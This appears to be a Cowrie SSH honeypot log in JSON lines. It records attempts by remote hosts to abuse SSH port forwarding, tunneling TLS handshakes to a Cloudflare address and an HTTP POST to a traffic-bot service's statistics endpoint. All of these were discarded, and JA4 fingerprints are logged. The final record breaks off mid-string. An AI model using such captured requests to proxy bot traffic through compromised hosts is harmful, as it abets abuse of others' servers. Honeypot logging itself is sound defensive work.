{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x0f?-\\xf4&\\xd8T\\xc0\\xfdA\\x83=\\xdf\\xb4\\x9c\\xe2\\x90\\x0eY\\xf9\\x02=\\xad\\x94\\x809\\xed< \\xfb/@ U\\x05-\\xcc\\xd8M\\x14\\x92\\xd36\\x15\\xf4\\xf6j\\xc0\\xd4\\xc2\\x0fH\\x9c\\xef\\xaf4\\xa9\\x0c\\xee\\x1c\\xfaX\\x1dK\\xd0\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x85\\xdf$\\x12pM|\\xb1\\xce\\x87\\xda\\x86GN\\xe9\\x19\\xa9\\xfa.\\x82\\x04\\xa4\\x9b\\x86C9N\\x95lf\\x0fQ\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x0f?-\\xf4&\\xd8T\\xc0\\xfdA\\x83=\\xdf\\xb4\\x9c\\xe2\\x90\\x0eY\\xf9\\x02=\\xad\\x94\\x809\\xed< \\xfb/@ U\\x05-\\xcc\\xd8M\\x14\\x92\\xd36\\x15\\xf4\\xf6j\\xc0\\xd4\\xc2\\x0fH\\x9c\\xef\\xaf4\\xa9\\x0c\\xee\\x1c\\xfaX\\x1dK\\xd0\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x85\\xdf$\\x12pM|\\xb1\\xce\\x87\\xda\\x86GN\\xe9\\x19\\xa9\\xfa.\\x82\\x04\\xa4\\x9b\\x86C9N\\x95lf\\x0fQ\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:32.398530Z","src_ip":"63.141.242.2","session":"f3b3ffbf6c11","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:33.474301Z","session":"ab9ee8d7f6a1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:33.508713Z","src_ip":"173.208.188.210","session":"ab9ee8d7f6a1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb8\\xbc\\xc9\\x98\\x0b\\xefo\\x08R=!\\xb3\\x04$VuK\\xe46\\xda/q\\x10\\x9a- \\xe5\\xe0\\xdcy\\x14\\xe2 C\\x1f\\xa3\\x9dY]5\\xb5x\\xe2\\xca=:N\\x12\\x91\\xd7\\xcf\\xd0o6%\\xb2\\x12\\xc7\\x1b+\\xca\\xb4\\x85\\xc1\\xcf\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 c\\x1cV\\xaf\\x90Cj\\xd7d\\xc1\\xea\\xf7s\\x89\\xcb\\xf0_J%\\xb5\\xc9\\xb8\\x94\\x90mr\\x86\\xaf1\\x8c\\x16N\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb8\\xbc\\xc9\\x98\\x0b\\xefo\\x08R=!\\xb3\\x04$VuK\\xe46\\xda/q\\x10\\x9a- \\xe5\\xe0\\xdcy\\x14\\xe2 C\\x1f\\xa3\\x9dY]5\\xb5x\\xe2\\xca=:N\\x12\\x91\\xd7\\xcf\\xd0o6%\\xb2\\x12\\xc7\\x1b+\\xca\\xb4\\x85\\xc1\\xcf\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 c\\x1cV\\xaf\\x90Cj\\xd7d\\xc1\\xea\\xf7s\\x89\\xcb\\xf0_J%\\xb5\\xc9\\xb8\\x94\\x90mr\\x86\\xaf1\\x8c\\x16N\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:33.511893Z","src_ip":"173.208.188.210","session":"ab9ee8d7f6a1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:33.583455Z","session":"ab9ee8d7f6a1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:33.617880Z","src_ip":"173.208.188.210","session":"ab9ee8d7f6a1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03T!|\\x85A\\xc6\\xb7\\x93\\x8f[KC\\xf3\\xb7\\x06y\\x95\\x15\\n\\xd9I4<\\xd5.\\xc8?\\xce\\x1b(Y\\xb6 x\\xbe\\xf6\\xf1@Ts\\x0f\\x06I3\\x0f\\x8e(\\xf4\\x87\\xb4_\\xa3\\x8f\\x8e`\\x12q+\\xcc\\xe5\\xdd\\xc8em\\xe0\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd9\\x87\\xbd\\xd3 \\xa9\\x18\\x14\\t\\xf7\\xbd\\x00\\xa5*\\x8d\\x83\\xab\\xd9\\xf4\\x96\",\\x9fP\\xd8L\\x8dA\\xc13\\xaa\\x10\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03T!|\\x85A\\xc6\\xb7\\x93\\x8f[KC\\xf3\\xb7\\x06y\\x95\\x15\\n\\xd9I4<\\xd5.\\xc8?\\xce\\x1b(Y\\xb6 x\\xbe\\xf6\\xf1@Ts\\x0f\\x06I3\\x0f\\x8e(\\xf4\\x87\\xb4_\\xa3\\x8f\\x8e`\\x12q+\\xcc\\xe5\\xdd\\xc8em\\xe0\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd9\\x87\\xbd\\xd3 \\xa9\\x18\\x14\\t\\xf7\\xbd\\x00\\xa5*\\x8d\\x83\\xab\\xd9\\xf4\\x96\",\\x9fP\\xd8L\\x8dA\\xc13\\xaa\\x10\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:33.621567Z","src_ip":"173.208.188.210","session":"ab9ee8d7f6a1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:34.146510Z","session":"ab9ee8d7f6a1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:34.231407Z","src_ip":"173.208.188.210","session":"ab9ee8d7f6a1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1162\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=ZHlBeGghKDExZU9TTEJ4QQ%3D%3Dbovt8bQOhVCdNwKPdJQoWu67HemDFjBI0ycv8Nyi%2BE5U08xxMUiWu15M9PE4tq%2FfpBdJ7grswdWP%2F2JFHHaFdO%2FCnOLXT2TFQYFGdMg2z5e8nNxCuwj5%2FgnNfEo6mWUaXIPO4ipIQ5GPa9DDVLajeK%2Fa%2FgyYz4vkF3s76N%2Bzs4bYoafo8pYdsdmlZvdt02B2Y8mbAX8E5iO3h5SDWXmVtXpBUqynP5Twl2OnJXEC2%2FihxOlorkGMKHHPbsU8NTUwOiZhMRb5i8sT7LECkoxNSe63I9AoRYd4BxxJvqAGJNeMe8zgtbJQWFR0A4H%2BnXufZIPAMGUH3NzcPDzGxeEhmuaLl7keCMAFqWE6%2FtOQVpM2zrv9cGKYDSv5RxQMRmIZOrIV7pfMGo7QDPAtrbz2%2FbjDRoNGyGCjrPqPdwUx7a%2Ft%2FK2ynDNFKF0KLmbB5c8Ljg7X90ZOIk2d%2Fb9HXUmzZ0OqJU%2FpMOSCk7GhJEJ2xpG8%2F0gt6xUsphhfPOwe0NUn9mNEpTZQgBOhQKZlfiLFrlBzv7RnIEN83DNYTrOL6x0luGx76KGYuxyf6v8WAKNHqvLHyfKm2yrfLdOuiI7RY10BlvIKz%2FTO9LfNkKLkiWKwIAkNjQ2g9KLpsjRmX%2FJ00TxapUTA2Se5DJn0utMMShhJE4gS9L9X0%2FE8pL8jo4ROaAPM7pFlZ%2FjzVSNt4Dvcn%2FJaigCgOejSldndjSUydFfBkKUDNrJ%2BSIAsnvImHFHEIV3h6huyJYQstDJinvf5jASIkq1jzW1GoM2Z%2BqFpLGkwJwloZsXMnFmNavYGbwYDtG05TyjpiT6yo9bCe6eVp0irhl89rSauwVGwjlCZqBDsVU6DuhONHq8eVj4Ev8R03kfVRycmipdGQ9YNVbfhi2%2FW3BY0bXwSi0wUYhfYcoIvHbg4eRXkLsGMpwxV5Z0nMDKLdJgknDVWMlmmu4d5L%2BZLhHO8%2B2zwxyZ53dXKKo%2FFj3VDoG0C2bRRBXivb%2Fdv8TnY85AKErpjgZ%2BmTpVs89XdZsAly3F1pGSZo1ZX9FZhqX%2FtFLzVEYJmS3RFgoA%3D'","id":2,"message":"discarded direct-tcp forward request 2 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1162\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: 